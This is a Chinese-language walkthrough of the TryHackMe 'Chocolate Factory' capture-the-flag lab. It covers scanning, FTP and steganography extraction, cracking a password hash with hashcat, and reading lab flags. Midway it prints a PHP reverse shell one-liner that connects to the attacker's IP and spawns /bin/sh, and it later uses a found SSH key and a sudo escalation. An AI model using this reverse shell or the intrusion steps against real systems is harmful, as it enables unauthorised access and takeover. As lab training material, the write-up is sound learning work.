THM - Chocolate Factory 靶機滲透
A Charlie And The Chocolate Factory themed room, revisit Willy Wonka's chocolate factory!
靶場地址
題目背景
Welcome to Willy Wonka's Chocolate Factory! This room was designed so that hackers can revisit the Willy Wonka's Chocolate Factory and meet Oompa Loompa
This is a beginner friendly room!
靶機類型
免費靶機
過關條件
- Enter the key you found!
- What is Charlie's password?
- change user to charlie [No answer needed]
- Enter the user flag
- Enter the root flag
滲透過程
基本資訊
攻擊機IP:10.11.74.107
目標機IP:10.10.255.25
使用Nmap掃描Port
small hint from Mr.Wonka : Look somewhere else, its not here! ;) |_ hope you wont drown Augustus"
登入FTP裡
使用steghide,看看是不是有經過隱寫術
連線至Web服務
從Web服務檢查看看有什麼線索。
使用gobuster進行目錄爆破
檢查剛剛從 FTP 拖下來的圖片
剛剛從FTP拖下來的圖檔,是有經過隱寫術,使用下面指令進行破解
打開輸出的檔案
透過這個網站,將那一長串Base64編碼進行解碼
使用hashcat為這組加密字串解碼,如果運氣好的話,或許可以取得charlie的ssh登入密碼
# $6$CZJnCPeQWp9/jpNx$khGlFdICJnr8R3JC/jTR2r7DrbFLp8zq8469d3c0.zuKN4se61FObwWGxcHZqO2RJHkkL1jjPYeeGyIJWE82X/
# 把上面加密的金鑰保存至hash.txt內
sudo hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
SSH登入失敗
補充
由於解謎到一半,臨時外出,所以再次回來解謎後目標機IP已發生變化
目前目標機IP:10.10.107.49
拿剛剛解密的密碼進行SSH登入。
又回到起點了...
Web登入
當我卡在死胡同的時候,我嘗試拿著我認為是SSH帳密在Web畫面上登入,發現竟然成功登入進去...
進行 Reverse Shell
php -r '$sock=fsockopen("10.11.74.107",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
接著把反彈shell轉成tty
使用ls -al看看有什麼值得懷疑的檔案
首先先看 key_rev_key這隻檔案,用cat打開後,發現是一端亂碼,不過還是可以看到一些資訊
b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='
接下來看看index.php.bak
讀取 user.txt 內容
前往/home/charlie目錄查看user.txt內容
不過在/home/charlie目錄中的teleport檔案似乎金鑰,雖然不知道是誰的,把金鑰的內容複製下來使用ssh登入試試
回到剛剛user.txt的位置,使用cat進行讀取
讀取 root.txt 內容
使用sudo -l看看charlie能用sudo能執行什麼權限
使用下面指令進行權限提升
然後進到/root目錄發現有一個root.py的資料夾,使用cat查看內容
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key: ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)







